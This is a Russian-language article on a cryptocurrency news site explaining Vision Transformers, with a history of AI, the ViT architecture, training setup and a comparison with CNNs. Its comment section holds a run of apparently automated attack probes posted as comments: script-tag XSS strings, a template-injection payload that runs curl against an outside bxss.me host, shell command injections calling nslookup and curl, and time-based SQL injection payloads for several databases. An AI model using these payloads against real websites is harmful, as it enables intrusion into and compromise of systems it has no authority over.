Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9512 / Markets: 114689
Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

  1. Главная
  2. Новости

Vision Transformers: всё, что вам нужно — это внимание

Vision Transformers: всё, что вам нужно — это внимание

Статья о революционной архитектуре, которая изменила подход к компьютерному зрению

Аннотация

С появлением статьи "Attention Is All You Need" закончилось доминирование рекуррентных нейронных сетей (Recurrent Neural Network — RNN). Поскольку трансформеры показывают лучшие результаты на практике по сравнению с RNN, давайте разберёмся, что они собой представляют и как работают в области компьютерного зрения.

Краткая история искусственного интеллекта: от истоков до наших дней

Искусственный интеллект (ИИ) прошёл долгий путь от философских размышлений до революционных технологий, которые сегодня меняют наш мир. Эта история полна взлётов и падений, прорывов и разочарований, но в итоге привела нас к эпохе, когда ИИ стал неотъемлемой частью повседневной жизни.

Предыстория и философские основы (до 1940-х)

Древние корни

  • Античность: Мифы об искусственных существах (Талос, Пигмалион)

  • Средневековье: Алхимические попытки создания гомункулов

  • XVII-XVIII века: Механические автоматы и философские размышления о мышлении

Математические основы

  • 1854: Джордж Буль создаёт булеву алгебру

  • 1936: Алан Тьюринг разрабатывает концепцию машины Тьюринга

  • 1943: Уоррен МакКаллок и Уолтер Питтс создают первую математическую модель нейрона

Детальная временная линия ИИ
Детальная временная линия ИИ

Рисунок 1: Детальная временная линия развития ИИ с 1940-х годов

Рождение ИИ (1940-1950-е)

Алан Тьюринг — отец ИИ

1950: Алан Тьюринг публикует статью "Computing Machinery and Intelligence"

  • Формулирует знаменитый тест Тьюринга

  • Ставит вопрос: "Могут ли машины думать?"

  • Закладывает теоретические основы ИИ

Дартмутская конференция (1956)

Официальное рождение ИИ как научной дисциплины

  • Организаторы: Джон МакКарти, Марвин Мински, Натаниэль Рочестер, Клод Шеннон

  • Впервые использован термин "Artificial Intelligence"

  • Оптимистичные прогнозы: решение проблем ИИ за 10 лет

История ключевых вех ИИ
История ключевых вех ИИ

Рисунок 2: Ключевые вехи в истории развития ИИ

Золотые годы (1950-1970-е)

Ранние программы и достижения

1951: Кристофер Стрейчи создаёт программу для игры в шашки 1956: Артур Сэмюэл разрабатывает программу, которая учится играть в шашки 1958: Джон МакКарти создаёт язык программирования LISP 1959: Артур Сэмюэл вводит термин "машинное обучение"

Перцептрон Розенблатта (1957)

Фрэнк Розенблатт создаёт перцептрон:

  • Первая практическая нейронная сеть

  • Способность к обучению на примерах

  • Большие надежды на будущее нейронных сетей

Ранние экспертные системы

1965: DENDRAL — первая экспертная система для анализа химических соединений 1966: ELIZA — первый чат-бот, имитирующий психотерапевта

Первая зима ИИ (1970-1980-е)

Разочарования и критика

1969: Марвин Мински и Сеймур Паперт публикуют "Perceptrons"

  • Показывают ограничения простых перцептронов

  • Критика приводит к сокращению финансирования нейронных сетей

Проблемы:

  • Вычислительные ограничения

  • Недостаток данных

  • Переоценка возможностей ранних методов

  • Сокращение государственного финансирования

Возрождение: экспертные системы (1980-е)

Коммерческий успех ИИ

1980: R1/XCON — экспертная система для конфигурации компьютеров DEC

  • Экономия миллионов долларов в год

  • Доказательство коммерческой ценности ИИ

Развитие:

  • Системы, основанные на знаниях

  • Логическое программирование (Prolog)

  • Японский проект "Компьютеры пятого поколения"

Вторая зима ИИ (конец 1980-х — начало 1990-х)

Новые разочарования:

  • Ограничения экспертных систем

  • Сложность поддержки и масштабирования

  • Провал японского проекта

  • Очередное сокращение финансирования

Возрождение машинного обучения (1990-2000-е)

Новые подходы:

1986: Обратное распространение ошибки возрождает интерес к нейронным сетям 1995: Владимир Вапник разрабатывает метод опорных векторов (SVM) 1997: IBM Deep Blue побеждает Гарри Каспарова в шахматах

Интернет и большие данные:

  • Доступность больших объёмов данных

  • Рост вычислительных мощностей

  • Развитие статистических методов машинного обучения

Эволюция от перцептрона к современным моделям
Эволюция от перцептрона к современным моделям

Рисунок 3: Временная линия развития глубокого обучения

Эра глубокого обучения (2010-е)

Прорыв AlexNet (2012)

ImageNet 2012: AlexNet Алекса Крижевского

  • Революция в компьютерном зрении

  • Доказательство эффективности глубоких нейронных сетей

  • Начало эры глубокого обучения

AlexNet изменил всё
AlexNet изменил всё

Рисунок 4: AlexNet как поворотный момент в истории ИИ

Ключевые достижения 2010-х:

2011: IBM Watson побеждает в телевикторине Jeopardy! 2012: Прорыв глубокого обучения (AlexNet) 2014: Генеративно-состязательные сети (GANs) — Ян Гудфеллоу 2016: AlphaGo побеждает Ли Седоля в игре Го 2017: Архитектура Transformer ("Attention Is All You Need")

Факторы успеха:

  • GPU: параллельные вычисления

  • Большие данные: интернет, социальные сети

  • Алгоритмы: улучшенные архитектуры нейронных сетей

  • Облачные вычисления: доступность ресурсов

Эра больших языковых моделей (2020-е)

Революция Transformers

2018: BERT от Google — революция в понимании языка 2019: GPT-2 от OpenAI — мощная генеративная модель 2020: GPT-3 — 175 миллиардов параметров

ChatGPT и массовое внедрение (2022-2024)

Ноябрь 2022: Запуск ChatGPT

  • 100 миллионов пользователей за 2 месяца

  • ИИ становится массовым явлением

  • Начало новой эры взаимодействия человека с ИИ

Март 2023: GPT-4

  • Мультимодальные возможности

  • Значительное улучшение качества

  • Прохождение профессиональных экзаменов

Современные достижения (2023-2024):

2023:

  • Qwen от Alibaba

  • Claude 2 от Anthropic

  • LLaMA 2 от Meta

  • Bard от Google

  • Midjourney V5 — революция в генерации изображений

2024:

  • GPT-4o — омни-модель с голосом и зрением

  • Claude 3 — новые возможности анализа

  • Gemini Ultra — конкуренция с GPT-4

Современное состояние ИИ (2024)

Ключевые области применения:

1. Обработка естественного языка

  • Языковые модели: GPT-4, Claude, Gemini

  • Переводчики: Google Translate, DeepL

  • Ассистенты: ChatGPT, Bard, Bing Chat

2. Компьютерное зрение

  • Генерация изображений: DALL-E, Midjourney, Stable Diffusion

  • Медицинская диагностика: анализ рентгенов, МРТ

  • Автономные автомобили: Tesla, Waymo

3. Мультимодальные системы

  • Qwen-Omni: анализ изображений и текста

  • GPT-4V: анализ изображений и текста

  • CLIP: связь изображений и текста

  • DALL-E 3: генерация по текстовым описаниям

Рынок ИИ

Текущее состояние:

  • Рынок ИИ: $150+ миллиардов (2024)

  • Прогноз на 2030: $1.8 триллиона

  • Ежегодный рост: 35-40%

Ключевые уроки истории:

🔄 Циклы развития: периоды оптимизма сменялись разочарованиями 📈 Экспоненциальный рост: особенно в последние 15 лет 🤝 Междисциплинарность: успех требует объединения разных областей 💡 Неожиданные прорывы: многие достижения были непредсказуемы 🌍 Глобальное влияние: ИИ меняет все сферы жизни

Современное состояние:

Мы находимся в уникальный момент истории, когда ИИ:

  • Достиг практической полезности в большинстве областей

  • Стал доступен миллионам людей

  • Продолжает стремительно развиваться

  • Ставит перед человечеством новые вопросы и вызовы

История ИИ продолжается, и мы все являемся её свидетелями и участниками. Следующие годы обещают быть не менее захватывающими, чем весь предыдущий путь развития искусственного интеллекта.

Введение в трансформеры

Трансформеры — это модель глубокого обучения, использующая механизм самовнимания (self-attention), который по-разному взвешивает значимость каждой части входных данных. Они используются в основном в области обработки естественного языка (Natural Language Processing — NLP) и компьютерного зрения (Computer Vision — CV).

Трансформеры, как и RNN, предназначены для обработки последовательных входных данных (например, естественного языка) с применением к таким задачам, как перевод и суммирование текста. Однако, в отличие от RNN, трансформеры обрабатывают весь вход одновременно. Механизм внимания определяет контекст для любой позиции во входной последовательности.

Ключевые преимущества трансформеров:

  • Параллелизация: обработка всех элементов последовательности одновременно

  • Долгосрочные зависимости: эффективное моделирование связей между удалёнными элементами

  • Масштабируемость: возможность обучения на больших объёмах данных

  • Универсальность: применимость к различным типам данных

В этой статье мы не будем подробно обсуждать трансформеры, которые произвели революцию в NLP. Наша цель — рассмотрение трансформеров в компьютерном зрении с примерами и практическими задачами.

Эффективность трансформеров

В NLP цель нейроязыковых моделей состоит в том, чтобы создать векторные представления (embeddings), которые кодируют как можно больше информации о семантике слова в тексте. Эта семантика не ограничивается определением слова — на самом деле многие слова сами по себе бессмысленны, если мы не знаем контекста, к которому они принадлежат.

Пример контекстной зависимости:

В предложении «Трансформеры эффективны, потому что они быстрые» векторное представление слова «они» будет бессмысленным, если не учитывать, что оно относится к «трансформерам».

Оптимальные модели должны уметь отображать эти зависимости между словами даже при работе с большими текстами, где эти слова могут быть удалены друг от друга на значительное расстояние. Модель с такой способностью может кодировать долгосрочные зависимости. Трансформеры способны находить эти зависимости между словами эффективно.

Проблемы с RNN

В частности, LSTM (Long Short Term Memory) и GRU (Gated Recurrent Unit) были популярными RNN, способными кодировать богатую семантику слов в тексте. Они работают последовательно, обрабатывая по одному токену за раз и сохраняя «память» всех токенов, обработанных моделью.

Архитектура RNN
Архитектура RNN

Рисунок 5: Развёрнутая во времени архитектура RNN

Основные ограничения RNN:

  1. Последовательная обработка: невозможность параллелизации

  2. Проблема исчезающих градиентов: сложность обучения долгосрочных зависимостей

  3. Ограниченная память: потеря информации при обработке длинных последовательностей

  4. Вычислительная неэффективность: медленное обучение на больших данных

Эти RNN могут хранить токены «в памяти» благодаря своим компонентам «ворот» (gates) — элементам, которые используют нейронные сети, чтобы определить, какую информацию следует хранить, какую информацию следует отбрасывать и какую информацию следует обновлять каждый раз, когда обрабатывается новый токен.

Архитектура этих моделей делает их устойчивыми к взрывающимся и исчезающим градиентам, что является общей проблемой в RNN. Это позволяет им отслеживать довольно длинные зависимости между элементами в последовательности. Однако последовательная обработка токенов и опора на хранение их информации в памяти не подходят, когда зависимости действительно далеки.

Проблемы с CNN

Свёртки популярны в задачах компьютерного зрения из-за их эффективности и масштабируемости при обучении с использованием графических процессоров. Точно так же, как 2D-свёртки могут извлекать признаки из изображения, эти модели используют 1D-фильтры для извлечения информации из текстов, которые представлены в виде 1D-последовательности.

Архитектура RNN
Архитектура СNN

Рисунок 6: Общая архитектура свёрточной нейронной сети

Ограничения CNN:

  1. Ограниченное рецептивное поле: сложность захвата долгосрочных зависимостей

  2. Фиксированные фильтры: неадаптивность к различным контекстам

  3. Иерархическая обработка: необходимость глубоких сетей для больших рецептивных полей

  4. Локальность: фокус на локальных паттернах, а не глобальных связях

Рецептивное поле в этих типах CNN зависит от размера их фильтров и количества используемых свёрточных слоёв. Увеличение значения этих гиперпараметров увеличивает сложность модели, что может привести к исчезновению градиентов или даже невозможности обучения моделей.

Трансформеры

Трансформеры появились в 2017 году как простой и масштабируемый способ получения результатов SOTA при машинном переводе. Вскоре они были применены к другим задачам NLP, став новым SOTA для нескольких бенчмарков (таких как GLUE, SQuAD или SWAG).

Архитектура Vision Transformer
Архитектура Transformer

Рисунок 7: Общая архитектура Transformer

Ключевые особенности трансформеров:

  • Механизм внимания: способность фокусироваться на релевантных частях входа

  • Параллельная обработка: одновременная обработка всех элементов последовательности

  • Масштабируемость: эффективное обучение на больших данных

  • Универсальность: применимость к различным задачам

Обычно эти модели обучают в больших версиях и настраивают их для различных задач, поэтому они полезны даже при недостатке данных. Производительность этих моделей, даже с миллиардами параметров, кажется, не достигает предела. Чем крупнее модель, тем точнее результаты и тем интереснее новые возможности, которые демонстрирует модель (см. GPT-3).

То, что трансформеры хорошо показали себя в языковых моделях, не гарантировало их успех в других областях — это нужно было проверить. Для этого необходимо было создать Vision Transformer, используя архитектуру энкодера трансформера с наименьшим количеством возможных модификаций, и применить его к задачам классификации изображений.

Классификация изображений

Классификация изображений связана с присвоением метки класса входному изображению. Например, как вы можете видеть на схеме ниже, мы предсказываем класс «Собака» для нашего входного изображения, поскольку оно имеет наивысший показатель достоверности после применения softmax.

Процесс классификации:

  1. Предобработка: нормализация и изменение размера изображения

  2. Извлечение признаков: получение векторного представления

  3. Классификация: применение классификатора для получения вероятностей

  4. Постобработка: выбор класса с максимальной вероятностью

Vision Transformers (ViT) обучаются на достаточно больших объёмах данных (> 100M изображений) с гораздо меньшими вычислительными ресурсами (в четыре раза меньше), чем современные CNN (ResNet), и при переносе на несколько средних или небольших тестовых наборов для распознавания изображений достигают отличных результатов.

Архитектура Vision Transformer

Детальная архитектура ViT
Детальная архитектура ViT

Рисунок 8: Детальная архитектура Vision Transformer

Чтобы лучше понять архитектуру, давайте разделим её на 3 основных компонента:

  1. Встраивание (Embedding)

  2. Энкодер трансформера

  3. Голова MLP

Шаг 1: Встраивание

На этом этапе мы разделяем входное изображение на участки (patches) фиксированного размера [P, P] и линейно сглаживаем их путём объединения каналов.

Процесс разбиения на патчи
Процесс разбиения на патчи

Рисунок 4: Процесс разбиения изображения на патчи и их встраивание

Математическое описание:

  • Входное изображение: x ∈ ℝ^(H×W×C)

  • Размер патча: P×P

  • Количество патчей: N = HW/P²

  • Сплющенный патч: x_p ∈ ℝ^(N×(P²·C))

  • Линейная проекция: z_0 = [x_class; x_p E] + E_pos

где:

  • E ∈ ℝ^((P²·C)×D) — матрица встраивания патчей

  • E_pos ∈ ℝ^((N+1)×D) — позиционное встраивание

  • x_class — обучаемый токен класса

Ключевые особенности встраивания:

  1. Разбиение на патчи: изображение делится на неперекрывающиеся квадратные участки

  2. Линейная проекция: каждый патч преобразуется в вектор фиксированной размерности

  3. Токен класса: добавляется специальный токен для агрегации информации

  4. Позиционное кодирование: сохраняет информацию о пространственном расположении

Зачем нужно позиционное кодирование?

Трансформеры не способны запоминать порядок или последовательность входов. Если патчи изображения переупорядочиваются, значение исходного изображения теряется. Следовательно, мы добавляем позиционное встраивание к нашим линейно встроенным патчам изображения, чтобы отслеживать последовательность.

Пример расчёта размерностей:

Предположим, у нас есть входное изображение размером 224×224×3 :

  • Размер патча: 16×16

  • Количество патчей: N = (224/16)² = 196

  • Размерность встраивания: D = 768

  • Итоговая размерность: [197, 768] (196 патчей + 1 токен класса)

Шаг 2: Энкодер трансформера

Архитектура энкодера трансформера аналогична той, что упоминалась в статье «Attention Is All You Need». Он состоит из нескольких стеков одинаковых блоков.

Архитектура энкодера
Архитектура энкодера

Рисунок 9: Детальная архитектура блока энкодера трансформера

Структура блока энкодера:

Блок энкодера:
├── Layer Normalization
├── Multi-Head Self-Attention
├── Residual Connection
├── Layer Normalization
├── Feed-Forward Network
└── Residual Connection

Внимание с несколькими головками (Multi-Head Attention)

Механизм Multi-Head Attention
Механизм Multi-Head Attention

Рисунок 10: Механизм Multi-Head Attention

Основным компонентом блока Multi-Head Attention является Scaled Dot-Product Attention:

Attention(Q, K, V) = softmax(QK^T / √d_k)V

где:

  • Q (Queries) — запросы

  • K (Keys) — ключи

  • V (Values) — значения

  • d_k — размерность ключей

Процесс вычисления внимания:

  1. Линейные проекции: Q = XW_Q, K = XW_K, V = XW_V

  2. Скалярное произведение: QK^T

  3. Масштабирование: деление на √d_k

  4. Softmax: нормализация весов внимания

  5. Взвешенная сумма: умножение на значения V

Multi-Head механизм:

MultiHead(Q, K, V) = Concat(head_1, ..., head_h)W^O
где head_i = Attention(QW_i^Q, KW_i^K, VW_i^V)

Масштабированное скалярное произведение внимания применяется h раз (обычно h = 8), чтобы получить h голов внимания. Эти головы внимания объединяются и проходят через плотный слой.

Шаг 3: Голова MLP

Когда у нас есть вектор контекста C, нас интересует только токен контекста c_0 для целей классификации. Этот токен контекста проходит через голову MLP для получения окончательного предсказания.

Структура головы MLP:

MLP Head:
├── Layer Normalization
├── Linear Layer (D → num_classes)
└── Softmax (для вероятностей)

Различия в обучении:

  • Предобучение: MLP с одним скрытым слоем и нелинейностью

  • Тонкая настройка: один линейный слой

Обучение Vision Transformer

Процесс обучения Vision Transformer разделён на два основных этапа:

1. Предварительное обучение

Процесс обучения ViT
Процесс обучения ViT

Рисунок 11: Процесс предварительного обучения и тонкой настройки ViT

Наборы данных для предобучения:

  1. ImageNet-1K (1.3M изображений)

  2. ImageNet-21K (14M изображений)

  3. JFT-300M (300M изображений)

Гиперпараметры предобучения:

  • Оптимизатор: Adam

  • Размер пакета: 4096

  • Уменьшение веса: 0.1

  • Расписание обучения: линейное затухание

Архитектуры моделей:

Модель

Слои

Скрытая размерность

Головы MHA

Параметры

ViT-Base/16

12

768

12

86M

ViT-Large/16

24

1024

16

307M

ViT-Huge/14

32

1280

16

632M

2. Тонкая настройка

После предварительного обучения модели настраиваются на целевых наборах данных:

Гиперпараметры тонкой настройки:

  • Оптимизатор: SGD с импульсом

  • Размер пакета: 512 (ViT-L/16), 518 (ViT-H/14)

  • Скорость обучения: адаптивная

  • Регуляризация: dropout, стохастическая глубина

Эксперименты

Ключевые наблюдения:

  1. Малые данные (ImageNet-1K): CNN превосходят ViT

  2. Средние данные (ImageNet-21K): сопоставимая производительность

  3. Большие данные (JFT-300M): ViT превосходят CNN

Результаты на ImageNet:

Модель

Top-1 Accuracy

Параметры

TPU-дни

BiT-L/16

87.5%

928M

9943

Noisy Student

88.4%

480M

-

ViT-L/16

87.8%

307M

2443

ViT-H/14

88.6%

632M

2500

Преимущества ViT:

  1. Вычислительная эффективность: в 4 раза меньше ресурсов

  2. Масштабируемость: лучшая производительность на больших данных

  3. Универсальность: хорошие результаты на разных задачах

Результаты на VTAB-1k

Vision Transformer показывает отличные результаты на разнообразном наборе задач VTAB-1k (19 задач по 1000 примеров каждая):

Категории задач:

  1. Natural: естественные изображения (CIFAR, Caltech101, DTD, Oxford Flowers, Oxford Pets, SVHN, SUN397)

  2. Specialized: специализированные данные (Camelyon, EuroSAT, Resisc45, Retinopathy)

  3. Structured: структурированные данные (Clevr/count, Clevr/distance, DMLab, KITTI, dSpr/loc, dSpr/ori, SmallNORB/azi, SmallNORB/ele)

Почему Vision Transformer работает лучше?

Анализ карт внимания

Данное изображение представляет собой визуализацию механизма внимания (attention mechanism) в модели Transformer. Конкретно, это показывает работу Multi-Head Attention с 12 различными "головами" внимания (Head 1 - Head 12).

Карты внимания ViT
Карты внимания ViT

Рисунок 12: Визуализация карт внимания в Vision Transformer

Ключевые особенности механизма внимания:

  1. Глобальная связность: каждый патч может взаимодействовать с любым другим

  2. Адаптивные веса: динамическое определение важности различных регионов

  3. Иерархическое представление: разные головы фокусируются на разных аспектах

  4. Семантическая группировка: объединение семантически связанных областей

Преимущества над CNN:

1. Глобальное рецептивное поле

  • CNN имеют ограниченное рецептивное поле в ранних слоях

  • ViT с самого начала имеет доступ ко всему изображению

2. Адаптивность

  • CNN используют фиксированные фильтры

  • ViT адаптивно определяет важность различных регионов

3. Масштабируемость

  • CNN сложно масштабировать на очень большие данные

  • ViT эффективно масштабируется с ростом данных

4. Интерпретируемость

  • Карты внимания обеспечивают лучшую интерпретируемость

  • Можно визуализировать, на что модель обращает внимание

Анализ обученных представлений

Позиционные встраивания:

  • Модель изучает пространственные отношения между патчами

  • Близкие патчи имеют похожие позиционные встраивания

Фильтры первого слоя:

  • Похожи на фильтры CNN, но более разнообразные

  • Способны захватывать более сложные паттерны

Внимание на разных слоях:

  • Ранние слои: локальные паттерны и текстуры

  • Средние слои: части объектов и формы

  • Поздние слои: семантические концепции и объекты целиком

Сравнение Vision Transformers (ViT) и свёрточных нейронных сетей (CNN)

Характеристики

Vision Transformers (ViT)

Свёрточные нейронные сети (CNN)

Извлечение признаков

Использует самовнимание между патчами изображения

Использует свёрточные фильтры для извлечения локальных признаков

Глобальный контекст

Захватывает глобальные связи между патчами в одном слое

Требует глубоких слоёв для построения глобального понимания из локальных признаков

Обработка изображений

Разделяет изображение на неперекрывающиеся патчи

Сканирует изображение с помощью перекрывающихся рецептивных полей (фильтров)

Позиционное кодирование

Требует явного позиционного кодирования для осведомлённости о расположении патчей

Неявно кодирует позицию через свёрточную структуру

Сложность модели

Более высокая вычислительная стоимость из-за механизма внимания

Обычно менее вычислительно затратны чем ViT

Требования к данным

Требует больших наборов данных для хорошей работы

Хорошо работает как на малых, так и на больших наборах данных

Масштабируемость

Высоко масштабируемы с большими наборами данных и моделями

Хорошо масштабируются, но склонны к переобучению на малых данных

Индуктивные смещения

Минимальные индуктивные смещения; изучает связи напрямую из данных

Сильные индуктивные смещения к локальным признакам (края, текстуры)

Производительность на малых данных

Склонны к переобучению на малых наборах данных

Лучше работают на меньших наборах данных благодаря встроенным смещениям

Интерпретируемость

Сложно интерпретировать из-за механизма внимания

Легче интерпретировать через изученные фильтры (например, детекторы краёв)

Ключевые выводы

Преимущества Vision Transformers:

  • ✅ Эффективное моделирование долгосрочных зависимостей

  • ✅ Превосходная масштабируемость на больших данных

  • ✅ Универсальная архитектура для различных задач

  • ✅ Параллельная обработка всех патчей

Преимущества CNN:

  • ✅ Лучшая производительность на малых данных

  • ✅ Встроенные пространственные индуктивные смещения

  • ✅ Более низкая вычислительная сложность

  • ✅ Лучшая интерпретируемость

Рекомендации по использованию:

Используйте ViT когда:

  • Доступны большие объёмы данных (>100M изображений)

  • Требуется моделирование глобальных зависимостей

  • Есть достаточные вычислительные ресурсы

  • Нужна универсальная архитектура

Используйте CNN когда:

  • Ограниченные данные для обучения

  • Важна вычислительная эффективность

  • Требуется интерпретируемость модели

  • Работа с изображениями стандартного размера

Ограничения и будущие направления

Текущие ограничения:

  1. Требования к данным: необходимы большие объёмы данных для предобучения

  2. Вычислительная сложность: квадратичная сложность по количеству патчей

  3. Отсутствие индуктивных смещений: не использует пространственную структуру изображений

  4. Фиксированное разрешение: сложности с изображениями разного размера

Направления развития:

  1. Эффективные архитектуры: Swin Transformer, PVT, DeiT

  2. Самообучение: методы обучения без учителя

  3. Мультимодальность: объединение с текстом и другими модальностями

  4. Специализированные задачи: детекция, сегментация, генерация

Заключение

Vision Transformer представляет собой значительный прорыв в применении архитектур трансформеров к компьютерному зрению. Основные достижения:

Ключевые результаты:

  1. Превосходная производительность: превосходит CNN на больших данных

  2. Вычислительная эффективность: требует в 4 раза меньше ресурсов для обучения

  3. Универсальность: хорошие результаты на разнообразных задачах

  4. Масштабируемость: эффективное использование больших объёмов данных

Влияние на область:

  1. Парадигмальный сдвиг: от свёрток к вниманию в компьютерном зрении

  2. Новые исследования: множество последующих работ и улучшений

  3. Практические применения: внедрение в реальные системы

  4. Междисциплинарность: объединение идей из NLP и CV

Будущие перспективы:

Vision Transformer открывает новые возможности для:

  • Унифицированных архитектур для различных модальностей

  • Более эффективных методов обучения

  • Лучшего понимания механизмов внимания

  • Развития мультимодальных систем

Благодаря этой простой, но масштабируемой стратегии ViT в сочетании с предварительным обучением на больших наборах данных соответствует или превосходит уровень техники для многих наборов данных классификации изображений, при этом будучи относительно дешёвым для предварительного обучения.

Эта работа демонстрирует, что внимание действительно может быть всем, что нам нужно, не только в NLP, но и в компьютерном зрении. Vision Transformers открывают новую эру в развитии систем искусственного интеллекта, где универсальные архитектуры могут эффективно работать с различными типами данных.

Список литературы

  1. Dosovitskiy, A., et al. (2020). An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale. arXiv preprint arXiv:2010.11929.

  2. Vaswani, A., et al. (2017). Attention is All You Need. Advances in Neural Information Processing Systems, 30.

  3. He, K., et al. (2016). Deep Residual Learning for Image Recognition. Proceedings of the IEEE Conference on Computer Vision and Pattern Recognition.

  4. Devlin, J., et al. (2018). BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding. arXiv preprint arXiv:1810.04805.

  5. Kolesnikov, A., et al. (2020). Big Transfer (BiT): General Visual Representation Learning. European Conference on Computer Vision.

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

